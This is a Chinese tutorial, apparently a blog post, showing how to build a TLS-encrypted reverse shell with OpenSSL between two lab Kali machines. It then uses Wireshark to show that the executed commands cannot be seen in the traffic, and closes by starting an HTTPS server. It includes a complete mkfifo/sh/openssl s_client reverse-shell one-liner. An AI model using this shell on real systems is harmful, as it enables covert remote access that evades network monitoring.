流量加密之OpenSSL反弹加密

目录

[1、OpenSSL 简介](#1、OpenSSL 简介)

[2、使用 OpenSSL 反弹加密 shell](#2、使用 OpenSSL 反弹加密 shell)

3、使用wireshark抓包验证

[4、搭建 HTTPS Server](#4、搭建 HTTPS Server)


1、OpenSSL 简介

OpenSSL 是一个强大的、商业级的、功能齐全的开源工具包,用于 TLS(以前称为 SSL)、DTLS 和 QUIC(目前仅限客户端)协议,协议实现基于全功能通用加密库,也可以单独使用,还包括一个加密模块经过验证,符合 FIPS 标准,是一个安全套接字层密码库,囊括主要的密码算法、常用密钥、证书封装管理功能,主要用于实现ssl协议。

2、使用 OpenSSL 反弹加密 shell

以 Linux 环境为例,测试主机为两台 kali

kali A 的IP为:192.168.249.128

kali B 的IP为:192.168.249.132

假设我们从 A 主机反弹 shell 到 B 主机

首先我们需要在B主机上使用 OpenSSL 生成自签名证书,证书有效期为一年

执行如下命令:

复制代码
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

这里我新建了一个目录 test 便于观察生成的文件

生成过程中会询问我们一些信息,都可以不用填写直接回车

ls可以看到生成了两个文件:cert.pem 和 key.pem

利用生成的自签名证书(cert.pem和key.pem )

在 B 主机上使用 OpenSSL 开启端口监听,这里使用 1337 端口启动一个 SSL/TLS server

执行如下命令:

复制代码
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

此时在主机 A 执行如下命令,IP 为主机 B 的 IP:

复制代码
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.249.132:1337 > /tmp/s; rm /tmp/s

此时观察主机 B

反弹shell成功

执行一些命令试试

3、使用wireshark抓包验证

进入eth0,开启抓包

在主机 B 执行一些命令(我这里执行的是ls、whoami、ifconfig)

观察wireshark抓包内容

无敏感信息泄露

追踪TCP流

看不出什么

追踪TLS流

看不到任何内容

主机 A 和主机 B 之间在使用 TLS1.2 协议进行加密通信,因此无法看到执行的命令和返回信息。

4、搭建 HTTPS Server

我们也可以使用生成的自签名证书(cert.pem和key.pem )搭建 HTTPS Server )

命令如下:

复制代码
openssl s_server -key key.pem -cert cert.pem -accept 44444 -WWW

在 44444 端口启动一个 HTTPS 服务

(这里做了一个首页文件index.html)

可以正常访问到,并且使用的是https

相关推荐
这我可不懂2 小时前
Python 项目快速部署到 Linux 服务器基础教程
linux·服务器·python
车车不吃香菇3 小时前
java idea 本地debug linux服务
java·linux·intellij-idea
tan77º3 小时前
【Linux网络编程】Socket - TCP
linux·网络·c++·tcp/ip
LjQ20403 小时前
Java的一课一得
java·开发语言·后端·web
kfepiza4 小时前
Linux的`if test`和`if [ ]中括号`的取反语法比较 笔记250709
linux·服务器·笔记·bash
CodeWithMe4 小时前
【Note】《深入理解Linux内核》 第十九章:深入理解 Linux 进程通信机制
linux·运维·php
数据库安全5 小时前
首批|美创智能数据安全分类分级平台获CCIA“网络安全新产品”
大数据·人工智能·web安全
vvw&5 小时前
Linux 中的 .bashrc 是什么?配置详解
linux·运维·服务器·chrome·后端·ubuntu·centos
tao3556676 小时前
树莓派免密登录(vs code/cursor)
linux·嵌入式硬件·ssh
是阿建吖!6 小时前
【Linux | 网络】socket编程 - 使用UDP实现服务端向客户端提供简单的服务
linux·网络·udp